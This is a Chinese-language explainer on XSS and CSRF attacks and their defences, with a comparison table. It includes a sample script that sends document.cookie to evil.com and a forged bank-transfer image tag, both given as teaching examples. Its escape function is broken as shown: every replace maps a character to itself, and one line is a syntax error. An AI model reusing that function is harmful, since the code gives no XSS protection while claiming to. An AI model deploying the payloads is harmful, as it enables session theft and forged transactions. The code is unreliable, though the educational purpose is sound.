什么是 XSS 和 CSRF？如何防御？
XSS（跨站脚本攻击）
攻击者在页面中注入恶意脚本，在用户浏览器中执行。
类型：
- 存储型 XSS：恶意代码存入数据库，所有访问者都受影响
- 反射型 XSS：恶意代码在 URL 中，服务器返回到页面
- DOM 型 XSS：纯前端漏洞，不经过服务器
攻击示例：
// 用户评论中注入
<script>fetch('https://evil.com?cookie=' + document.cookie)</script>
// 如果没有转义，其他用户看到评论时脚本执行防御：
- 输出转义：
function escape(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
}- CSP（内容安全策略）：
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' cdn.example.com">- HttpOnly Cookie：
Set-Cookie: token=abc; HttpOnly; Secure; SameSite=Strict- 使用现代框架：React/Vue 默认转义
CSRF（跨站请求伪造）
攻击者诱导用户在已登录的网站上执行非预期操作。
攻击示例：
<!-- 钓鱼网站 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000">
<!-- 用户已登录 bank.com，浏览器自动携带 Cookie -->防御：
- CSRF Token：
<form action="/transfer" method="POST">
<input type="hidden" name="_token" value="随机生成的token">
<input type="text" name="amount">
</form>- SameSite Cookie：
Set-Cookie: token=abc; SameSite=Strict # 不跨站发送
Set-Cookie: token=abc; SameSite=Lax # 仅 GET 跨站发送（默认）- Referer/Origin 校验：
const referer = req.headers.referer
if (!isAllowedOrigin(referer)) {
return res.status(403).send('Forbidden')
}XSS vs CSRF
| 特性 | XSS | CSRF |
|---|---|---|
| 原理 | 注入脚本执行 | 借用用户身份发请求 |
| 前提 | 网站存在 XSS 漏洞 | 用户已登录目标网站 |
| 防御 | 转义、CSP、HttpOnly | Token、SameSite、Referer |
其他安全威胁
- 点击劫持：iframe 嵌套 →
X-Frame-Options: DENY - SQL 注入：参数化查询
- 中间人攻击：HTTPS